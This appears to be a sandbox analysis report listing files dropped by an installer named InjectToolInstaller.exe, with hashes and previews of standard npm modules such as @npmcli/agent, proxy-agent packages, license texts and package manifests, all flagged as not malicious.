Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2437
Entropy (8bit):	4.683469825938324
Encrypted:	false
SSDEEP:	48:VeDwyQBXYqQTDrMYGGbPLiTMvEhEyHunbfsbsH8:XBIHDr/uTMvEDOnbfUs8
MD5:	B42C7FAFD08DC1B8F21A532CC53F5037
SHA1:	5A62DE6018AF590EB8661F2042871753E8F7FF51
SHA-256:	C475022B830424DBDF75987670549F32BC08C43C224731FD20CDC4F747F56901
SHA-512:	7454525F2533812960BE55EC6BF2168D0F9F3F79613702C4543F495C9872B952587162D590A9FFFF78FCEC80EE436F09DD9844DA3BC69BB4AD94B3E5153625F3
Malicious:	false
Preview:	'use strict'..const dns = require('./dns')..const normalizeOptions = (opts) => {. const family = parseInt(opts.family ?? '0', 10). const keepAlive = opts.keepAlive ?? true.. const normalized = {. // nodejs http agent options. these are all the defaults. // but kept here to increase the likelihood of cache hits. // https://nodejs.org/api/http.html#new-agentoptions. keepAliveMsecs: keepAlive ? 1000 : undefined,. maxSockets: opts.maxSockets ?? 15,. maxTotalSockets: Infinity,. maxFreeSockets: keepAlive ? 256 : undefined,. scheduling: 'fifo',. // then spread the rest of the options. ...opts,. // we already set these to their defaults that we want. family,. keepAlive,. // our custom timeout options. timeouts: {. // the standard timeout option is mapped to our idle timeout. // and then deleted below. idle: opts.timeout ?? 0,. connection: 0,. response: 0,. transfer: 0,. ...opts.timeouts,. },. // get the dn

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\lib\proxy.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2011
Entropy (8bit):	5.042198653913491
Encrypted:	false
SSDEEP:	48:ZUalbNDhUgRhyoBHiSAOwgKoQvDwNkhyd3YlnqHNks/ythdHB:DDDhxooBCSKtD7h43YlnqGthlB
MD5:	CF37AD09E180F34501C5D3225A1A3BDE
SHA1:	29B9CA8D1D1C0C6A6AB125A49078BF716CAD86BB
SHA-256:	192A78A72232F67D0CBD46FE8F9DBD994F98C197CB345570C312AAAC12831111
SHA-512:	8886DD89B085347D630E542612D126BA917B92DE2540AF1C73136F1BAE348322A3A2E24C0B0510C5F0FE2D5ED2D4A50DAC140FEC91DCFE9093690BE21EB3F964
Malicious:	false
Preview:	'use strict'..const { HttpProxyAgent } = require('http-proxy-agent').const { HttpsProxyAgent } = require('https-proxy-agent').const { SocksProxyAgent } = require('socks-proxy-agent').const { LRUCache } = require('lru-cache').const { InvalidProxyProtocolError } = require('./errors.js')..const PROXY_CACHE = new LRUCache({ max: 20 })..const SOCKS_PROTOCOLS = new Set(SocksProxyAgent.protocols)..const PROXY_ENV_KEYS = new Set(['https_proxy', 'http_proxy', 'proxy', 'no_proxy'])..const PROXY_ENV = Object.entries(process.env).reduce((acc, [key, value]) => {. key = key.toLowerCase(). if (PROXY_ENV_KEYS.has(key)) {. acc[key] = value. }. return acc.}, {})..const getProxyAgent = (url) => {. url = new URL(url).. const protocol = url.protocol.slice(0, -1). if (SOCKS_PROTOCOLS.has(protocol)) {. return SocksProxyAgent. }. if (protocol === 'https' \|\| protocol === 'http') {. return [HttpProxyAgent, HttpsProxyAgent]. }.. throw new InvalidProxyProtocolError(url).}..const isNoProxy = (u

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\agent-base\dist\helpers.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2314
Entropy (8bit):	4.850805918008236
Encrypted:	false
SSDEEP:	48:KBsyqSHuaHELyUFmM7xHZbmmSc7EOvlsUeeQjR5QYWFRfwQP2My5hEXRK:KBmqxHELy6D7VZbmmSWEKPQt5QXro0Qp
MD5:	978A0823E78E9CBD9EC52C4FD73444AA
SHA1:	16FECB2FD128064BBC3EF6AF64AA48291CD1FE60
SHA-256:	6043C5C1BB76491992F6C56F65895E2E9167AE10122FEF4D58D6638EBAC4BA05
SHA-512:	3567BD54725002BBF620002071D8227EE19975DBDD097FCDA35673B3ADBABC0778BBEEAADCED02EF5B9FA0E6817B476AD22BE4617345EB0809A3B55D58EF2CE7
Malicious:	false
Preview:	"use strict";.var __createBinding = (this && this.__createBinding) \|\| (Object.create ? (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. var desc = Object.getOwnPropertyDescriptor(m, k);. if (!desc \|\| ("get" in desc ? !m.__esModule : desc.writable \|\| desc.configurable)) {. desc = { enumerable: true, get: function() { return m[k]; } };. }. Object.defineProperty(o, k2, desc);.}) : (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. o[k2] = m[k];.}));.var __setModuleDefault = (this && this.__setModuleDefault) \|\| (Object.create ? (function(o, v) {. Object.defineProperty(o, "default", { enumerable: true, value: v });.}) : function(o, v) {. o["default"] = v;.});.var __importStar = (this && this.__importStar) \|\| function (mod) {. if (mod && mod.__esModule) return mod;. var result = {};. if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);. __setModuleDef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\agent-base\dist\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4385
Entropy (8bit):	4.720524126155081
Encrypted:	false
SSDEEP:	96:KBmqxHELy6D7VZbmmS5SqOqeEa0087hSgzDOzlTatK0Sh84CykQOhZkmI1NObHSH:0xk9D7vW53HeZ0f7hSgzDKRatxc8Vyk+
MD5:	1A2CDE316A5277E6E19E4C7E4030135F
SHA1:	A76144710515A154821759A75E97B38EEB64E394
SHA-256:	D1118107DF038CCBA8E6C9BEBD78A6C9975F5906EE128E1FE0CD34AF25123269
SHA-512:	B9B50D62B94029D0149DB17BA7654E73D09B0CA8D2B7CF6F044CE638AEAD8094ADB811A9EF104E8786546FFFE0E047FE95BF98EC6BC2A62666F598EDAD602364
Malicious:	false
Preview:	"use strict";.var __createBinding = (this && this.__createBinding) \|\| (Object.create ? (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. var desc = Object.getOwnPropertyDescriptor(m, k);. if (!desc \|\| ("get" in desc ? !m.__esModule : desc.writable \|\| desc.configurable)) {. desc = { enumerable: true, get: function() { return m[k]; } };. }. Object.defineProperty(o, k2, desc);.}) : (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. o[k2] = m[k];.}));.var __setModuleDefault = (this && this.__setModuleDefault) \|\| (Object.create ? (function(o, v) {. Object.defineProperty(o, "default", { enumerable: true, value: v });.}) : function(o, v) {. o["default"] = v;.});.var __importStar = (this && this.__importStar) \|\| function (mod) {. if (mod && mod.__esModule) return mod;. var result = {};. if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);. __setModuleDef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\agent-base\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.695959806053996
Encrypted:	false
SSDEEP:	24:Or1vqjGugZe4Y5dwaqj7dpCSeg02lGdqKG6AR2F1VmyUCRe:mvuGugZGEaqjZ6g02Ydtww3ADCU
MD5:	6CF16A99196F52F28CBBB366118DA4A6
SHA1:	757AC71C6057973E410D08CA8DFD1562E731754C
SHA-256:	64266F0007635290ADC31871142A8BF305B52D8C51443107B274A18405F26D2D
SHA-512:	F3AC6D0CB1B94844D4F2B0BBEEDA31A397DA5495A0B7BB16B5C7632EA72BBF146103BA032D98C8B155458EE12A010FAF2FFE5B2029124042C76DF66F58665744
Malicious:	false
Preview:	{. "name": "agent-base",. "version": "7.1.0",. "description": "Turn a function into an `http.Agent` instance",. "main": "./dist/index.js",. "types": "./dist/index.d.ts",. "files": [. "dist". ],. "repository": {. "type": "git",. "url": "https://github.com/TooTallNate/proxy-agents.git",. "directory": "packages/agent-base". },. "keywords": [. "http",. "agent",. "base",. "barebones",. "https". ],. "author": "Nathan Rajlich <nathan@tootallnate.net> (http://n8.io/)",. "license": "MIT",. "dependencies": {. "debug": "^4.3.4". },. "devDependencies": {. "@types/debug": "^4.1.7",. "@types/jest": "^29.5.1",. "@types/node": "^14.18.45",. "@types/semver": "^7.3.13",. "@types/ws": "^6.0.4",. "async-listen": "^3.0.0",. "jest": "^29.5.0",. "ts-jest": "^29.1.0",. "typescript": "^5.0.4",. "ws": "^3.3.3",. "tsconfig": "0.0.0". },. "engines": {. "node": ">= 14". },. "scripts": {. "build": "tsc",. "test": "jest --env

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\http-proxy-agent\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	5.152168496378463
Encrypted:	false
SSDEEP:	24:lBGiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:2iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	DC944E6612DA9341E648E5FD43DAB7A2
SHA1:	E08E2F8A1B49469468C5771239F00591DB3BEFD8
SHA-256:	5AA012C5C5E970177D1FF9144121A598FA082434391061504B2D77A70289097F
SHA-512:	74AC6CF1FAC6D350981FD794AEB9219FAE296CC4058A347D7F51EE902D395B4B078206B62F2AFFF5D6E440B86B915702202ED44CA7FB9551F7B4B5FFE541CEB1
Malicious:	false
Preview:	License.-------..(The MIT License)..Copyright (c) 2013 Nathan Rajlich <nathan@tootallnate.net>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRA

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\http-proxy-agent\dist\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6046
Entropy (8bit):	4.7534258944601655
Encrypted:	false
SSDEEP:	96:KBmqxHELy6D7VZbmmS88Ez1/i7cih0qHfZQuhqyhlg6SSnnyinWPqbQebwRYekpS:0xk9D7vW88SxacihvHR9hqmDSSnnyino
MD5:	7D5B6FC35C36DD6EEB8AB07A3252D283
SHA1:	669A3B8EA2F3274F861FC416F75D43727676BD67
SHA-256:	B4CD12238114F78CBF58CD8CEF3B25EEE4CB40FF2D57FC3EBD5FF3A80C2EB131
SHA-512:	93F681EEA4FFE06FA508D0B10FA3F0428CD909B78F00F860FBB0624D0FEA96E45A98F6E65B194F947E9C8E3E6D86EE21B5D01D4A61F99CDC88F327198B9247C9
Malicious:	false
Preview:	"use strict";.var __createBinding = (this && this.__createBinding) \|\| (Object.create ? (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. var desc = Object.getOwnPropertyDescriptor(m, k);. if (!desc \|\| ("get" in desc ? !m.__esModule : desc.writable \|\| desc.configurable)) {. desc = { enumerable: true, get: function() { return m[k]; } };. }. Object.defineProperty(o, k2, desc);.}) : (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. o[k2] = m[k];.}));.var __setModuleDefault = (this && this.__setModuleDefault) \|\| (Object.create ? (function(o, v) {. Object.defineProperty(o, "default", { enumerable: true, value: v });.}) : function(o, v) {. o["default"] = v;.});.var __importStar = (this && this.__importStar) \|\| function (mod) {. if (mod && mod.__esModule) return mod;. var result = {};. if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);. __setModuleDef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\http-proxy-agent\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	4.751290606395636
Encrypted:	false
SSDEEP:	24:KN1k3LKgZe46OAKdBv57d0CSeg02l8L2F1VmyUCRe:KXMWgZc4dBRZtg02f3ADCU
MD5:	778472210489A5B2074432113895B5FA
SHA1:	B5B3434273CFFA35FA3CEE9DC2F36751442D2882
SHA-256:	A55E0F41B5604D0479C1179F09F55A624F7F2092A89207BDC5B438323F4F6770
SHA-512:	526A61B2211092978DED9F319F755DB1674E453A8B9AE9844614C3BE8BF53D19D07919C6CD7235F7E0590125DDC998E076277F103050B62860A6704766D367D1
Malicious:	false
Preview:	{. "name": "http-proxy-agent",. "version": "7.0.0",. "description": "An HTTP(s) proxy `http.Agent` implementation for HTTP",. "main": "./dist/index.js",. "types": "./dist/index.d.ts",. "files": [. "dist". ],. "repository": {. "type": "git",. "url": "https://github.com/TooTallNate/proxy-agents.git",. "directory": "packages/http-proxy-agent". },. "keywords": [. "http",. "proxy",. "endpoint",. "agent". ],. "author": "Nathan Rajlich <nathan@tootallnate.net> (http://n8.io/)",. "license": "MIT",. "dependencies": {. "agent-base": "^7.1.0",. "debug": "^4.3.4". },. "devDependencies": {. "@types/debug": "^4.1.7",. "@types/jest": "^29.5.1",. "@types/node": "^14.18.45",. "async-listen": "^3.0.0",. "jest": "^29.5.0",. "ts-jest": "^29.1.0",. "typescript": "^5.0.4",. "proxy": "2.1.1",. "tsconfig": "0.0.0". },. "engines": {. "node": ">= 14". },. "scripts": {. "build": "tsc",. "test": "jest --env node --verbose --bail

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\https-proxy-agent\dist\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7440
Entropy (8bit):	4.702798904285215
Encrypted:	false
SSDEEP:	192:0xk9D7vW884Hq8Xqzi1sPjegrp3YODS0LSbdy/KKvquOJqiQK:0xmRq8XqzitgtIWPjWT
MD5:	85E012FD9DFB97FF531EB1EDEF920F08
SHA1:	BCF1B915C657EF135A16461DE40007CBD301EE02
SHA-256:	66A6E393E010944B14D56C1C01539DA50A40D249E1CA24F692568ECB5215CB2C
SHA-512:	BC1A67E67DC75878B982AECDE9D07D2B672A42FBD33835D49B25AB34B4AC59D9887C241ADAFFB56AECCCA958CD7545489419BAB733D5D1FE359125448E90ACD3
Malicious:	false
Preview:	"use strict";.var __createBinding = (this && this.__createBinding) \|\| (Object.create ? (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. var desc = Object.getOwnPropertyDescriptor(m, k);. if (!desc \|\| ("get" in desc ? !m.__esModule : desc.writable \|\| desc.configurable)) {. desc = { enumerable: true, get: function() { return m[k]; } };. }. Object.defineProperty(o, k2, desc);.}) : (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. o[k2] = m[k];.}));.var __setModuleDefault = (this && this.__setModuleDefault) \|\| (Object.create ? (function(o, v) {. Object.defineProperty(o, "default", { enumerable: true, value: v });.}) : function(o, v) {. o["default"] = v;.});.var __importStar = (this && this.__importStar) \|\| function (mod) {. if (mod && mod.__esModule) return mod;. var result = {};. if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);. __setModuleDef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\https-proxy-agent\dist\parse-proxy-response.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3908
Entropy (8bit):	4.182037166062878
Encrypted:	false
SSDEEP:	96:48E2Q1XMiff2mcStFxoL9J2Y2M6wtShYGah2PJ0qm45SfcOytCHuVVE8:48b28lmcFL9cbM1kh9ah2B0qm45+cOyx
MD5:	D140345EE9C006E6897CD2C800B25A41
SHA1:	977F28E0AC856A4C989BE779CFE337E6F47D7B61
SHA-256:	36A30EBCD66060FA8E3ABA8295854757AFBD60F2643D8992814727F249C5EBA0
SHA-512:	D29A556E5E6A1626463A797A94971CA42A71859993A83E02040743B07ECA53F4B5C26ABC9AC25196FD1992107CCAA997795B815C9FAC058F0EF7566125AB4D6A
Malicious:	false
Preview:	"use strict";.var __importDefault = (this && this.__importDefault) \|\| function (mod) {. return (mod && mod.__esModule) ? mod : { "default": mod };.};.Object.defineProperty(exports, "__esModule", { value: true });.exports.parseProxyResponse = void 0;.const debug_1 = __importDefault(require("debug"));.const debug = (0, debug_1.default)('https-proxy-agent:parse-proxy-response');.function parseProxyResponse(socket) {. return new Promise((resolve, reject) => {. // we need to buffer any HTTP traffic that happens with the proxy before we get. // the CONNECT response, so that if the response is anything other than an "200". // response code, then we can re-play the "data" events on the socket once the. // HTTP parser is hooked up.... let buffersLength = 0;. const buffers = [];. function read() {. const b = socket.read();. if (b). ondata(b);. else. socket.once('readable', read);

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\https-proxy-agent\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1223
Entropy (8bit):	4.736255381751044
Encrypted:	false
SSDEEP:	24:9N1iL5gZe4tOArdBv57dlcegm+2lqL2F1Vmy3ckchCRe:9XiNgZHRdBRZyegm+2N3AkqCU
MD5:	5EB72D18E27F5025B9A9DD856550F49D
SHA1:	3C71093D44BE0C91A36D2C2953170B59EDAF4CEB
SHA-256:	F62F929F550F77C2AA9A088FC1D86F278CB0AAB361C3A0BD9DC2159D9E398377
SHA-512:	8EDA771B053205613EC5C91617E222E440F64B25F35ED1FDE96BA4F3966721AA8B85103953C4BAED8FFE8922164D8DBBFF7C6BAE84982E62E52832ADC15394F1
Malicious:	false
Preview:	{. "name": "https-proxy-agent",. "version": "7.0.2",. "description": "An HTTP(s) proxy `http.Agent` implementation for HTTPS",. "main": "./dist/index.js",. "types": "./dist/index.d.ts",. "files": [. "dist". ],. "repository": {. "type": "git",. "url": "https://github.com/TooTallNate/proxy-agents.git",. "directory": "packages/https-proxy-agent". },. "keywords": [. "https",. "proxy",. "endpoint",. "agent". ],. "author": "Nathan Rajlich <nathan@tootallnate.net> (http://n8.io/)",. "license": "MIT",. "dependencies": {. "agent-base": "^7.0.2",. "debug": "4". },. "devDependencies": {. "@types/async-retry": "^1.4.5",. "@types/debug": "4",. "@types/jest": "^29.5.1",. "@types/node": "^14.18.45",. "async-listen": "^3.0.0",. "async-retry": "^1.3.3",. "jest": "^29.5.0",. "ts-jest": "^29.1.0",. "typescript": "^5.0.4",. "proxy": "2.1.1",. "tsconfig": "0.0.0". },. "engines": {. "node": ">= 14". },. "scripts": {. "b

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\socks-proxy-agent\dist\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6272
Entropy (8bit):	4.539284135077422
Encrypted:	false
SSDEEP:	192:0xk9D7vW88Z2beVnXdrhKtKQiLWzjGOWIvyb1IKJqiQK:0xmPSnPITjKT
MD5:	0CB45D485991A7313AF036F865B89F3B
SHA1:	890C3A0BCF5F8D5D585BC8099C3EA28B1210C0F3
SHA-256:	C7C8D491F3A7121930E7A3C349286BEF177412D480E99416FD0EC760F753BF8D
SHA-512:	8C15638314C5C6678CD9C4D8289DCE677E9931A635A71E717B1E2D370A07A53239564DA7BDF04B4AAFB5429A43E9E8FCE5A46E9B7E330C4FA5C3FD8347B45BB4
Malicious:	false
Preview:	"use strict";.var __createBinding = (this && this.__createBinding) \|\| (Object.create ? (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. var desc = Object.getOwnPropertyDescriptor(m, k);. if (!desc \|\| ("get" in desc ? !m.__esModule : desc.writable \|\| desc.configurable)) {. desc = { enumerable: true, get: function() { return m[k]; } };. }. Object.defineProperty(o, k2, desc);.}) : (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. o[k2] = m[k];.}));.var __setModuleDefault = (this && this.__setModuleDefault) \|\| (Object.create ? (function(o, v) {. Object.defineProperty(o, "default", { enumerable: true, value: v });.}) : function(o, v) {. o["default"] = v;.});.var __importStar = (this && this.__importStar) \|\| function (mod) {. if (mod && mod.__esModule) return mod;. var result = {};. if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);. __setModuleDef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\node_modules\socks-proxy-agent\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	4.7114959128489105
Encrypted:	false
SSDEEP:	48:FXfhRj74+TAFGqGXYoaAoxqJSTcpcnZPZgm0D2OdQW31CU:FJl7tcGxJeA6ZPZgm0D2OS5U
MD5:	6D286E77C24552CEA1D27FCDD61C038D
SHA1:	648C681D3A825962385D38434EF018D4F368FFBA
SHA-256:	32D6A42739468B18E603574418F50C64E7A90B515F005957D82A83BBE064118D
SHA-512:	0A1417C8C52EEBAC3BB4109D9A1C2EBB56CC066A4B775489EC2F9810AE6E32374E71F136D6304345B493AD99CA9C1F9B322CFD6A00FEA249888CEE17D6E6515C
Malicious:	false
Preview:	{. "name": "socks-proxy-agent",. "version": "8.0.2",. "description": "A SOCKS proxy `http.Agent` implementation for HTTP and HTTPS",. "main": "./dist/index.js",. "types": "./dist/index.d.ts",. "files": [. "dist". ],. "author": {. "email": "nathan@tootallnate.net",. "name": "Nathan Rajlich",. "url": "http://n8.io/". },. "contributors": [. {. "name": "Kiko Beats",. "email": "josefrancisco.verdu@gmail.com". },. {. "name": "Josh Glazebrook",. "email": "josh@joshglazebrook.com". },. {. "name": "talmobi",. "email": "talmobi@users.noreply.github.com". },. {. "name": "Indospace.io",. "email": "justin@indospace.io". },. {. "name": "Kilian von Pflugk",. "email": "github@jumoog.io". },. {. "name": "Kyle",. "email": "admin@hk1229.cn". },. {. "name": "Matheus Fernandes",. "email": "matheus.frndes@gmail.com". },. {. "name": "Ricky Miller",. "email": "rich

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\agent\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1481
Entropy (8bit):	4.71920298763811
Encrypted:	false
SSDEEP:	24:211JUWuJKFw1ehPFbwsDuDc6deJo631QZ00Jzz08LIFha1MMLg8sDrQYr:61JUNJF1ehPFwsDuDLdefFQW0JzQ8sPj
MD5:	2DE277CAA6AB7DB160A74DC6CBC80A9A
SHA1:	B13705199349A33B543565A266E33616E02837C4
SHA-256:	D2DB1AD9D4780FD5B82DBDF35A3A30409C225F6B1B86748552817EE372541A87
SHA-512:	7FC5375CC21441998A6E7652E5E65649663D48AE68039BB1C740AE5BEFCAF71B168B08BE75677ED2A261EFC2369F591C6AEBAC5B57549D7A417DBB94E0E65884
Malicious:	false
Preview:	{. "name": "@npmcli/agent",. "version": "2.2.0",. "description": "the http/https agent used by the npm cli",. "main": "lib/index.js",. "scripts": {. "gencerts": "bash scripts/create-cert.sh",. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "author": "GitHub Inc.",. "license": "ISC",. "bugs": {. "url": "https://github.com/npm/agent/issues". },. "homepage": "https://github.com/npm/agent#readme",. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^16.14.0 \|\| >=18.0.0". },. "templateOSS": {. "//@npmcli/template-oss": "This file is partially managed by @npmcli/template-oss. Edits may be overwritten.",. "version": "4.19.0",. "publish": "true". },. "dependencies": {. "agent-base": "^7.1.0",. "http-proxy-agent": "^7.0.0",. "https-proxy-agent": "^7

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\disparity-colors\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	738
Entropy (8bit):	4.9740509338626095
Encrypted:	false
SSDEEP:	12:9FMUDXS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3ew:93CICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	D80A3B8216B56C31766EEFEC43A9081C
SHA1:	6E7118376680E2881DD17A196F923D879B6C9A34
SHA-256:	9DD1BC5666FD1E32F086518046532E993F5307749327AFF37CECF98355F2B9A0
SHA-512:	7F21967618DDC42E4371763B1993BB4D7CCA296F6B83AB94C6E70E2BF31B7C8540626EF409D30F85907F173DE51EBBE248EDC1239F7CFBE971A83387A9CE700B
Malicious:	false
Preview:	The ISC License..Copyright (c) npm Inc...Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\disparity-colors\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1018
Entropy (8bit):	4.843758564359199
Encrypted:	false
SSDEEP:	24:MVNd0FEmT2NKJOLCm2LbE+FbbAG7vN1v238Bm:M3d/WQLMLbFbbACbusw
MD5:	915A3A45F508FE42C50143E822771C07
SHA1:	B9116C2DBE58A228EF561F888773D9A5580BD7C6
SHA-256:	54F6EECF7C0C4DBA4B473B2E4012B9740E324A236EF7C29A89513DE0CC578E31
SHA-512:	793203A6F2311AE634906EBEAAD711D051A965A70BDA103A5C33787EAB8ADC82B77BF88887BDA123294A5A2CDD406454F1A675F713C8CE5715AF84E0C0AC2E2D
Malicious:	false
Preview:	const ansi = require('ansi-styles')..const colors = {. removed: ansi.red,. added: ansi.green,. header: ansi.yellow,. section: ansi.magenta,.}..function colorize (str, opts) {. let headerLength = (opts \|\| {}).headerLength. if (typeof headerLength !== 'number' \|\| Number.isNaN(headerLength)) {. headerLength = 2. }.. const color = (colorStr, colorId) => {. const { open, close } = colors[colorId]. // avoid highlighting the "\n" (would highlight till the end of the line). return colorStr.replace(/[^\n\r]+/g, open + '$&' + close). }.. // this RegExp will include all the `\n` chars into the lines, easier to join. const lines = ((typeof str === 'string' && str) \|\| '').split(/^/m).. const start = color(lines.slice(0, headerLength).join(''), 'header'). const end = lines.slice(headerLength).join(''). .replace(/^-./gm, color('$&', 'removed')). .replace(/^\+./gm, color('$&', 'added')). .replace(/^@@.+@@/gm, color('$&', 'section')).. return start + end.}..module.e

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@npmcli\disparity-colors\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1459
Entropy (8bit):	4.600304668382302
Encrypted:	false
SSDEEP:	24:+3m1ggAgc3NL1jUHyrVxDiEKGCP6KFw1eyiH5Y98LIFzX9y0Jo631V:V1AgcUSnr9CP6F1eV5S8s1vfFV
MD5:	F9635A9598908DAB311FBF047209C652
SHA1:	799957D0A4590B694EF2457DBAA4C5C04B259EB5
SHA-256:	F78299230047EC400366763B35353E41565CF25A924538A47906FFF316C7ADD8
SHA-512:	641FF663D7711D11D417C78DB6FAC47BB364CE8BEDF500D1EC90BECC1EA8BE0A632CBFAC4927F45248ECAC4E690E6D83ACF99EB228A7B587E45C17C2F0E6DFCD
Malicious:	false
Preview:	{. "name": "@npmcli/disparity-colors",. "version": "3.0.0",. "main": "lib/index.js",. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "description": "Colorizes unified diff output",. "repository": {. "type": "git",. "url": "https://github.com/npm/disparity-colors.git". },. "keywords": [. "disparity",. "npm",. "npmcli",. "diff",. "char",. "unified",. "multiline",. "string",. "color",. "ansi",. "terminal",. "cli",. "tty". ],. "author": "GitHub Inc.",. "contributors": [. {. "name": "Ruy Adorno",. "url": "https://ruyadorno.com",. "twitter": "ruyadorno". }. ],. "license": "ISC",. "scripts": {. "lint": "eslint \"*/.js\"",. "pretest": "npm run lint",. "test": "tap",. "snap": "tap",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. 